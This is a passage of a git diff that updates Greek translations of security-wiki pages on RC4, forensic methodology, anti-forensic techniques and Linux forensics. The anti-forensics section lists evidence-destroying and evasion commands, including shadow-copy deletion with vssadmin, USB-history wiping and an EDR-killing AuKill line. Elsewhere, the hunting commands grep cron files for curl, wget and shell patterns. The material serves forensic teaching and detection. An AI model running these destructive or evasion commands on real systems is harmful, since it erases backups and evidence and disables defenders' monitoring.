κατακερματισμού σε 6036708eba0d11f6ef52ad44e8b74d5b - Προσθέσει τη συμβολοσειρά "append" - Ολοκληρώσει τον κατακερματισμό και ο προκύπτων κατακερματισμός θα είναι **έγκυρος για "secret" + "data" + "padding" + "append"** diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index a6ad0d5d5..f2dede506 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,13 +1,17 @@ +# RC4 Encrypt and Decrypt + {{#include ../banners/hacktricks-training.md}} -Αν μπορείτε με κάποιον τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης. +Αν μπορείτε με κάποιο τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης. Αν μπορείτε να κρυπτογραφήσετε ένα γνωστό απλό κείμενο, μπορείτε επίσης να εξάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορείτε να βρείτε στη μηχανή HTB Kryptos: + {{#ref}} https://0xrick.github.io/hack-the-box/kryptos/ {{#endref}} + {{#ref}} https://0xrick.github.io/hack-the-box/kryptos/ {{#endref}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md index a31c43519..2dfb4e62f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -10,7 +10,7 @@ ## Ανάλυση Κακόβουλου Λογισμικού -Αυτή **δεν είναι απαραίτητα το πρώτο βήμα που πρέπει να εκτελέσετε μόλις έχετε την εικόνα**. Αλλά μπορείτε να χρησιμοποιήσετε αυτές τις τεχνικές ανάλυσης κακόβουλου λογισμικού ανεξάρτητα αν έχετε ένα αρχείο, μια εικόνα συστήματος αρχείων, εικόνα μνήμης, pcap... οπότε είναι καλό να **κρατάτε αυτές τις ενέργειες στο μυαλό σας**: +Αυτό **δεν είναι απαραίτητο το πρώτο βήμα που πρέπει να εκτελέσετε μόλις έχετε την εικόνα**. Αλλά μπορείτε να χρησιμοποιήσετε αυτές τις τεχνικές ανάλυσης κακόβουλου λογισμικού ανεξάρτητα αν έχετε ένα αρχείο, μια εικόνα συστήματος αρχείων, εικόνα μνήμης, pcap... οπότε είναι καλό να **κρατάτε αυτές τις ενέργειες στο μυαλό σας**: {{#ref}} malware-analysis.md @@ -24,7 +24,7 @@ malware-analysis.md partitions-file-systems-carving/ {{#endref}} -Ανάλογα με τα χρησιμοποιούμενα λειτουργικά συστήματα και ακόμα και την πλατφόρμα, θα πρέπει να αναζητηθούν διάφορα ενδιαφέροντα αντικείμενα: +Ανάλογα με τα χρησιμοποιούμενα λειτουργικά συστήματα και ακόμη και την πλατφόρμα, θα πρέπει να αναζητηθούν διάφορα ενδιαφέροντα τεκμήρια: {{#ref}} windows-forensics/ @@ -73,7 +73,7 @@ pcap-inspection/ anti-forensic-techniques.md {{#endref}} -## Κυνηγώντας Απειλές +## Κυνήγι Απειλών {{#ref}} file-integrity-monitoring.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index 04eccd55f..ba4edb2d8 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -46,7 +46,7 @@ ### Νανοδευτερόλεπτα -**Τα χρονικά σημεία NTFS** έχουν **ακρίβεια** **100 νανοδευτερολέπτων**. Έτσι, η εύρεση αρχείων με χρονικά σημεία όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτη**. +**Τα χρονικά σημεία NTFS έχουν μια **ακρίβεια** **100 νανοδευτερολέπτων**. Έτσι, η εύρεση αρχείων με χρονικά σημεία όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτη**. ### SetMace - Αντι-δικαστικό Εργαλείο @@ -65,11 +65,11 @@ ## UsbKill Αυτό είναι ένα εργαλείο που θα **απενεργοποιήσει τον υπολογιστή αν ανιχνευθεί οποιαδήποτε αλλαγή στις θύρες USB**.\ -Ένας τρόπος για να το ανακαλύψετε θα ήταν να ελέγξετε τις τρέχουσες διαδικασίες και να **εξετάσετε κάθε εκτελέσιμο python script**. +Ένας τρόπος για να το ανακαλύψετε θα ήταν να ελέγξετε τις τρέχουσες διαδικασίες και **να αναθεωρήσετε κάθε εκτελέσιμο python script**. ## Ζωντανές Διανομές Linux -Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος για να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι τοποθετημένο με δικαιώματα εγγραφής**. Αν είναι τοποθετημένο μόνο με δικαιώματα ανάγνωσης, δεν θα είναι δυνατόν να ανιχνευθεί η εισβολή. +Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος για να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι προσαρτημένο με δικαιώματα εγγραφής**. Αν είναι προσαρτημένο μόνο με δικαιώματα ανάγνωσης, δεν θα είναι δυνατόν να ανιχνευθεί η εισβολή. ## Ασφαλής Διαγραφή @@ -109,25 +109,25 @@ ### Διαγραφή Ιστορικού USB -Όλες οι **Εγγραφές Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR** που περιέχει υποκλειδιά που δημιουργούνται όποτε συνδέετε μια συσκευή USB στον υπολογιστή ή το laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό** θα διαγράψετε το ιστορικό USB.\ +Όλες οι **Εγγραφές Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR** που περιέχει υποκλειδιά που δημιουργούνται όποτε συνδέετε μια συσκευή USB στον υπολογιστή ή το φορητό σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό** θα διαγράψετε το ιστορικό USB.\ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) για να βεβαιωθείτε ότι τα έχετε διαγράψει (και για να τα διαγράψετε). Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τα USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό θα πρέπει επίσης να διαγραφεί. -### Απενεργοποίηση Αντιγράφων Σκιάς +### Απενεργοποίηση Σκιάς Αντιγράφων -**Λίστα** αντιγράφων σκιάς με `vssadmin list shadowstorage`\ +**Λίστα** σκιάς αντιγράφων με `vssadmin list shadowstorage`\ **Διαγράψτε** τα εκτελώντας `vssadmin delete shadow` Μπορείτε επίσης να τα διαγράψετε μέσω GUI ακολουθώντας τα βήματα που προτείνονται στο [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) -Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +Για να απενεργοποιήσετε τις σκιές αντιγράφων [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): 1. Ανοίξτε το πρόγραμμα Υπηρεσίες πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά την κλικ στο κουμπί εκκίνησης των Windows. 2. Από τη λίστα, βρείτε "Volume Shadow Copy", επιλέξτε το και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ. 3. Επιλέξτε Απενεργοποιημένο από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και στη συνέχεια επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και OK. -Είναι επίσης δυνατόν να τροποποιήσετε τη ρύθμιση των αρχείων που θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +Είναι επίσης δυνατόν να τροποποιήσετε τη ρύθμιση των αρχείων που θα αντιγραφούν στη σκιά στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` ### Επικαλύψτε διαγραμμένα αρχεία @@ -214,11 +214,11 @@ AuKill.exe -k CrowdStrike ## Linux Anti-Forensics: Αυτο-επιδιόρθωση και Cloud C2 (2023–2025) -### Αυτο‑επιδιόρθωση συμβιβασμένων υπηρεσιών για μείωση ανίχνευσης (Linux) -Οι αντίπαλοι ολοένα και περισσότερο “αυτο‑επιδιορθώνουν” μια υπηρεσία αμέσως μετά την εκμετάλλευσή της για να αποτρέψουν την επαναλαμβανόμενη εκμετάλλευση και να καταστείλουν τις ανιχνεύσεις που βασίζονται σε ευπάθειες. Η ιδέα είναι να αντικαταστήσουν ευάλωτα στοιχεία με τις τελευταίες νόμιμες upstream εκδόσεις/JARs, έτσι ώστε οι σαρωτές να αναφέρουν τον υπολογιστή ως επιδιορθωμένο ενώ η επιμονή και το C2 παραμένουν. +### Αυτο‑επιδιόρθωση συμβιβασμένων υπηρεσιών για μείωση της ανίχνευσης (Linux) +Οι αντίπαλοι ολοένα και περισσότερο “αυτο‑επιδιορθώνουν” μια υπηρεσία αμέσως μετά την εκμετάλλευσή της για να αποτρέψουν την επανα-εκμετάλλευση και να καταστείλουν τις ανιχνεύσεις που βασίζονται σε ευπάθειες. Η ιδέα είναι να αντικαταστήσουν ευάλωτα στοιχεία με τις τελευταίες νόμιμες upstream εκδόσεις/JARs, έτσι ώστε οι σαρωτές να αναφέρουν τον υπολογιστή ως επιδιορθωμένο ενώ η επιμονή και το C2 παραμένουν. Παράδειγμα: Apache ActiveMQ OpenWire RCE (CVE‑2023‑46604) -- Μετά την εκμετάλλευση, οι επιτιθέμενοι απέκτησαν νόμιμα JARs από το Maven Central (repo1.maven.org), διέγραψαν τα ευάλωτα JARs στην εγκατάσταση του ActiveMQ και επανεκκίνησαν τον μεσίτη. +- Μετά την εκμετάλλευση, οι επιτιθέμενοι αντλήθηκαν νόμιμα JARs από το Maven Central (repo1.maven.org), διέγραψαν τα ευάλωτα JARs στην εγκατάσταση του ActiveMQ και επανεκκίνησαν τον μεσίτη. - Αυτό έκλεισε την αρχική RCE ενώ διατηρούσε άλλα σημεία πρόσβασης (cron, αλλαγές ρυθμίσεων SSH, ξεχωριστά εμφυτεύματα C2). Επιχειρησιακό παράδειγμα (εικονικό) @@ -245,19 +245,19 @@ Forensic/hunting tips - RHEL/CentOS: `rpm -Va 'activemq*'` - Αναζητήστε εκδόσεις JAR που είναι παρούσες στον δίσκο και δεν ανήκουν στον διαχειριστή πακέτων, ή συμβολικούς συνδέσμους που ενημερώθηκαν εκτός ζώνης. - Χρονοδιάγραμμα: `find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort` για να συσχετίσετε ctime/mtime με το παράθυρο συμβιβασμού. -- Ιστορικό shell/τηλεμετρία διαδικασιών: αποδείξεις για `curl`/`wget` προς `repo1.maven.org` ή άλλες CDNs τεκμηρίων αμέσως μετά την αρχική εκμετάλλευση. +- Ιστορικό shell/τηλεμετρία διεργασιών: αποδείξεις για `curl`/`wget` προς `repo1.maven.org` ή άλλες CDNs τεκμηρίων αμέσως μετά την αρχική εκμετάλλευση. - Διαχείριση αλλαγών: επιβεβαιώστε ποιος εφαρμόσε το “patch” και γιατί, όχι μόνο ότι υπάρχει μια διορθωμένη έκδοση. ### Cloud‑service C2 με bearer tokens και anti‑analysis stagers -Παρατηρήθηκε ότι η τεχνική συνδυάζει πολλαπλές διαδρομές C2 μακράς διάρκειας και συσκευασίες anti‑analysis: +Παρατηρήθηκε ότι η τεχνική συνδύασε πολλαπλές διαδρομές C2 μακράς διάρκειας και συσκευασίες anti‑analysis: - Φορτωτές ELF PyInstaller με προστασία κωδικού πρόσβασης για να εμποδίσουν την απομόνωση και την στατική ανάλυση (π.χ., κρυπτογραφημένο PYZ, προσωρινή εξαγωγή κάτω από `/_MEI*`). - Δείκτες: `strings` hits όπως `PyInstaller`, `pyi-archive`, `PYZ-00.pyz`, `MEIPASS`. - Τεχνουργήματα χρόνου εκτέλεσης: εξαγωγή σε `/tmp/_MEI*` ή προσαρμοσμένες διαδρομές `--runtime-tmpdir`. -- C2 υποστηριζόμενο από Dropbox χρησιμοποιώντας σκληρά κωδικοποιημένα OAuth Bearer tokens +- C2 υποστηριζόμενο από Dropbox χρησιμοποιώντας σκληροκωδικοποιημένα OAuth Bearer tokens - Δίκτυα: `api.dropboxapi.com` / `content.dropboxapi.com` με `Authorization: Bearer `. - Αναζητήστε σε proxy/NetFlow/Zeek/Suricata για εξερχόμενο HTTPS προς το Dropbox από φορτία διακομιστή που δεν συγχρονίζουν κανονικά αρχεία. - Παράλληλο/αντίγραφο C2 μέσω tunneling (π.χ., Cloudflare Tunnel `cloudflared`), διατηρώντας τον έλεγχο αν ένα κανάλι αποκλειστεί. -- IOCs φιλοξενίας: διαδικασίες/μονάδες `cloudflared`, ρύθμιση στο `~/.cloudflared/*.json`, εξερχόμενο 443 προς τα Cloudflare edges. +- IOCs φιλοξενίας: διεργασίες/μονάδες `cloudflared`, ρύθμιση στο `~/.cloudflared/*.json`, εξερχόμενο 443 προς τα Cloudflare edges. ### Persistence και “hardening rollback” για τη διατήρηση πρόσβασης (παραδείγματα Linux) Οι επιτιθέμενοι συχνά συνδυάζουν την αυτοδιορθωτική διαδικασία με ανθεκτικές διαδρομές πρόσβασης: @@ -267,7 +267,7 @@ Forensic/hunting tips for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null ``` -- Ανάκτηση σκληρής ρύθμισης SSH: ενεργοποίηση root logins και τροποποίηση προεπιλεγμένων shells για λογαριασμούς χαμηλών δικαιωμάτων. +- Ανάκτηση σκληρής ρύθμισης SSH: ενεργοποίηση root logins και τροποποίηση των προεπιλεγμένων shells για λογαριασμούς χαμηλών δικαιωμάτων. - Αναζητήστε ενεργοποίηση root login: ```bash grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config @@ -284,7 +284,7 @@ find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \ -exec stat -c '%n %s %y' {} \; 2>/dev/null | sort ``` -Οι αμυντικοί θα πρέπει να συσχετίσουν αυτά τα τεχνουργήματα με εξωτερική έκθεση και γεγονότα επιδιόρθωσης υπηρεσιών για να αποκαλύψουν την αυτοδιορθωτική διαδικασία anti‑forensic που χρησιμοποιείται για να κρύψει την αρχική εκμετάλλευση. +Οι αμυντικοί θα πρέπει να συσχετίσουν αυτά τα τεκμήρια με εξωτερική έκθεση και γεγονότα επιδιόρθωσης υπηρεσιών για να αποκαλύψουν την αυτοδιορθωτική διαδικασία anti‑forensic που χρησιμοποιείται για να κρύψει την αρχική εκμετάλλευση. ## References diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index baed4e967..db12f606f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -6,7 +6,7 @@ ### Βασικές Πληροφορίες -Πρώτα απ' όλα, συνιστάται να έχετε κάποιο **USB** με **καλά γνωστά δυαδικά και βιβλιοθήκες σε αυτό** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib,_ και _/lib64_), στη συνέχεια να τοποθετήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά: +Πρώτα απ' όλα, συνιστάται να έχετε κάποιο **USB** με **καλά γνωστά δυαδικά αρχεία και βιβλιοθήκες πάνω του** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib,_ και _/lib64_), στη συνέχεια να το τοποθετήσετε και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά αρχεία: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 @@ -59,14 +59,14 @@ LiME υποστηρίζει 3 **μορφές**: LiME μπορεί επίσης να χρησιμοποιηθεί για **να στείλει το dump μέσω δικτύου** αντί να το αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι όπως: `path=tcp:4444` -### Disk Imaging +### Imaging Δίσκου -#### Shutting down +#### Κλείσιμο Πρώτα απ' όλα, θα χρειαστεί να **κλείσετε το σύστημα**. Αυτό δεν είναι πάντα επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να αντέξει να κλείσει.\ -Υπάρχουν **2 τρόποι** για να κλείσετε το σύστημα, μια **κανονική απενεργοποίηση** και μια **"τραβήξτε το βύσμα" απενεργοποίηση**. Η πρώτη θα επιτρέψει στους **διαδικασίες να τερματιστούν όπως συνήθως** και το **filesystem** να είναι **συγχρονισμένο**, αλλά θα επιτρέψει επίσης την πιθανή **κακόβουλη λογισμική** να **καταστρέψει αποδείξεις**. Η προσέγγιση "τραβήξτε το βύσμα" μπορεί να φέρει **κάποια απώλεια πληροφοριών** (όχι πολλές πληροφορίες θα χαθούν καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και η **κακόβουλη λογισμική δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλο λογισμικό**, απλώς εκτελέστε την **εντολή** **`sync`** στο σύστημα και τραβήξτε το βύσμα. +Υπάρχουν **2 τρόποι** για να κλείσετε το σύστημα, ένας **κανονικός τερματισμός** και ένας **τερματισμός "τραβώντας το βύσμα"**. Ο πρώτος θα επιτρέψει στους **διαδικασίες να τερματιστούν όπως συνήθως** και το **filesystem** να είναι **συγχρονισμένο**, αλλά θα επιτρέψει επίσης την πιθανή **κακόβουλη λογισμική** να **καταστρέψει αποδείξεις**. Η προσέγγιση "τραβώντας το βύσμα" μπορεί να φέρει **κάποια απώλεια πληροφοριών** (όχι πολλές πληροφορίες θα χαθούν καθώς έχουμε ήδη πάρει μια εικόνα της μνήμης) και η **κακόβουλη λογισμική δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλη λογισμική**, απλά εκτελέστε την **εντολή** **`sync`** στο σύστημα και τραβήξτε το βύσμα. -#### Taking an image of the disk +#### Λήψη εικόνας του δίσκου Είναι σημαντικό να σημειωθεί ότι **πριν συνδέσετε τον υπολογιστή σας σε οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα **τοποθετηθεί ως μόνο για ανάγνωση** για να αποφύγετε την τροποποίηση οποιασδήποτε πληροφορίας. ```bash @@ -77,9 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` -### Προ-ανάλυση Εικόνας Δίσκου +### Προ-ανάλυση εικόνας δίσκου -Εικόνα μιας εικόνας δίσκου χωρίς επιπλέον δεδομένα. +Εικόνα μιας εικόνας δίσκου χωρίς περισσότερα δεδομένα. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -151,7 +151,7 @@ malware-analysis.md ## Αναζήτηση εγκατεστημένων προγραμμάτων -Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα σε συστήματα Debian και RedHat, εξετάστε το ενδεχόμενο να αξιοποιήσετε τα αρχεία καταγραφής συστήματος και τις βάσεις δεδομένων μαζί με χειροκίνητους ελέγχους σε κοινές καταλόγους. +Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα σε συστήματα Debian και RedHat, εξετάστε το ενδεχόμενο να αξιοποιήσετε τα αρχεία καταγραφής συστήματος και τις βάσεις δεδομένων παράλληλα με χειροκίνητους ελέγχους σε κοινές καταλόγους. - Για Debian, ελέγξτε _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για να αποκτήσετε λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες. - Οι χρήστες RedHat μπορούν να ερωτήσουν τη βάση δεδομένων RPM με `rpm -qa --root=/mntpath/var/lib/rpm` για να καταγράψουν τα εγκατεστημένα πακέτα. @@ -174,13 +174,13 @@ find / -type f -executable | grep ``` ## Ανάκτηση Διαγραμμένων Εκτελέσιμων Αρχείων -Φανταστείτε μια διαδικασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατή η εξαγωγή της +Φανταστείτε μια διαδικασία που εκτελέστηκε από το /tmp/exec και στη συνέχεια διαγράφηκε. Είναι δυνατόν να την εξαγάγουμε. ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` -## Επιθεώρηση τοποθεσιών Αυτοεκκίνησης +## Επιθεώρηση Τοποθεσιών Αυτοεκκίνησης ### Προγραμματισμένα Καθήκοντα ```bash @@ -206,7 +206,7 @@ for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron grep -R --line-number -E 'curl|wget|/bin/sh|python|bash -c' /etc/cron.*/* 2>/dev/null ``` #### Hunt: SSH hardening rollback and backdoor shells -Οι αλλαγές στο sshd_config και τα κέλυφος συστήματος λογαριασμών είναι κοινές μετά την εκμετάλλευση για τη διατήρηση της πρόσβασης. +Οι αλλαγές στο sshd_config και στα κέλυφος συστήματος λογαριασμών είναι κοινές μετά την εκμετάλλευση για τη διατήρηση της πρόσβασης. ```bash # Root login enablement (flag "yes" or lax values) grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config @@ -215,7 +215,7 @@ grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd ``` #### Hunt: Cloud C2 markers (Dropbox/Cloudflare Tunnel) -- Οι δείκτες API του Dropbox συνήθως χρησιμοποιούν το api.dropboxapi.com ή το content.dropboxapi.com μέσω HTTPS με Authorization: Bearer tokens. +- Οι σηματοδότες API του Dropbox χρησιμοποιούν συνήθως το api.dropboxapi.com ή το content.dropboxapi.com μέσω HTTPS με Authorization: Bearer tokens. - Αναζητήστε σε proxy/Zeek/NetFlow για απροσδόκητη έξοδο Dropbox από διακομιστές. - Το Cloudflare Tunnel (`cloudflared`) παρέχει εφεδρικό C2 μέσω εξόδου 443. ```bash @@ -227,7 +227,7 @@ systemctl list-units | grep -i cloudflared Διαδρομές όπου μπορεί να εγκατασταθεί ένα κακόβουλο λογισμικό ως υπηρεσία: - **/etc/inittab**: Καλεί σενάρια αρχικοποίησης όπως το rc.sysinit, κατευθύνοντας περαιτέρω σε σενάρια εκκίνησης. -- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, το δεύτερο βρίσκεται σε παλαιότερες εκδόσεις Linux. +- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, το τελευταίο βρίσκεται σε παλαιότερες εκδόσεις Linux. - **/etc/init.d/**: Χρησιμοποιείται σε ορισμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης. - Οι υπηρεσίες μπορεί επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την παραλλαγή του Linux. - **/etc/systemd/system**: Ένας φάκελος για σενάρια διαχειριστή συστήματος και υπηρεσιών. @@ -273,7 +273,7 @@ systemctl list-units | grep -i cloudflared - **/var/log/**: Ελέγξτε πάντα για απροσδόκητες καταγραφές εδώ. > [!TIP] -> Οι καταγραφές συστήματος Linux και τα υποσυστήματα ελέγχου μπορεί να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση παραβίασης ή περιστατικού κακόβουλου λογισμικού. Δεδομένου ότι οι καταγραφές σε συστήματα Linux περιέχουν γενικά μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τις διαγράφουν τακτικά. Επομένως, κατά την εξέταση διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να αναζητάτε κενά ή μη κανονικές καταχωρήσεις που μπορεί να υποδεικνύουν διαγραφή ή παραποίηση. +> Οι καταγραφές συστήματος Linux και τα υποσυστήματα ελέγχου μπορεί να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση παραβίασης ή περιστατικού κακόβουλου λογισμικού. Δεδομένου ότι οι καταγραφές σε συστήματα Linux περιέχουν γενικά μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τις διαγράφουν τακτικά. Επομένως, κατά την εξέταση διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να αναζητάτε κενά ή μη κανονικές καταχωρήσεις που μπορεί να είναι ένδειξη διαγραφής ή παραποίησης. **Το Linux διατηρεί ένα ιστορικό εντολών για κάθε χρήστη**, αποθηκευμένο σε: @@ -295,10 +295,10 @@ systemctl list-units | grep -i cloudflared Ορισμένες εφαρμογές επίσης δημιουργούν τα δικά τους αρχεία καταγραφής: - **SSH**: Εξετάστε το _\~/.ssh/authorized_keys_ και _\~/.ssh/known_hosts_ για μη εξουσιοδοτημένες απομακρυσμένες συνδέσεις. -- **Gnome Desktop**: Ρίξτε μια ματιά στο _\~/.recently-used.xbel_ για πρόσφατα προσβάσιμα αρχεία μέσω εφαρμογών Gnome. +- **Gnome Desktop**: Ρίξτε μια ματιά στο _\~/.recently-used.xbel_ για πρόσφατα προσπελάσιμα αρχεία μέσω εφαρμογών Gnome. - **Firefox/Chrome**: Ελέγξτε το ιστορικό του προγράμματος περιήγησης και τις λήψεις στο _\~/.mozilla/firefox_ ή _\~/.config/google-chrome_ για ύποπτες δραστηριότητες. - **VIM**: Εξετάστε το _\~/.viminfo_ για λεπτομέρειες χρήσης, όπως διαδρομές αρχείων που προσπελάστηκαν και ιστορικό αναζητήσεων. -- **Open Office**: Ελέγξτε για πρόσβαση σε πρόσφατα έγγραφα που μπορεί να υποδηλώνουν παραβιασμένα αρχεία. +- **Open Office**: Ελέγξτε για πρόσφατη πρόσβαση σε έγγραφα που μπορεί να υποδηλώνει παραβιασμένα αρχεία. - **FTP/SFTP**: Εξετάστε τα αρχεία καταγραφής στο _\~/.ftp_history_ ή _\~/.sftp_history_ για μεταφορές αρχείων που μπορεί να είναι μη εξουσιοδοτημένες. - **MySQL**: Εξετάστε το _\~/.mysql_history_ για εκτελεσμένα ερωτήματα MySQL, που μπορεί να αποκαλύπτουν μη εξουσιοδοτημένες δραστηριότητες βάσης δεδομένων. - **Less**: Αναλύστε το _\~/.lesshst_ για ιστορικό χρήσης, συμπεριλαμβανομένων των προβαλλόμενων αρχείων και των εκτελούμενων εντολών. @@ -328,12 +328,12 @@ More examples and info inside the github: [https://github.com/snovvcrash/usbrip] ## Ανασκόπηση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **αρχεία ασφαλείας** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν και ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις brute-force sudo.\ -Επιπλέον, ελέγξτε αρχεία όπως το _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\ +Επιπλέον, ελέγξτε αρχεία όπως _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\ Τέλος, αναζητήστε λογαριασμούς με **κανέναν κωδικό πρόσβασης** ή **εύκολα μαντεύσιμους** κωδικούς πρόσβασης. ## Εξέταση Συστήματος Αρχείων -### Ανάλυση Δομών Συστήματος Αρχείων σε Έρευνα Κακόβουλου Λογισμικού +### Ανάλυση Δομών 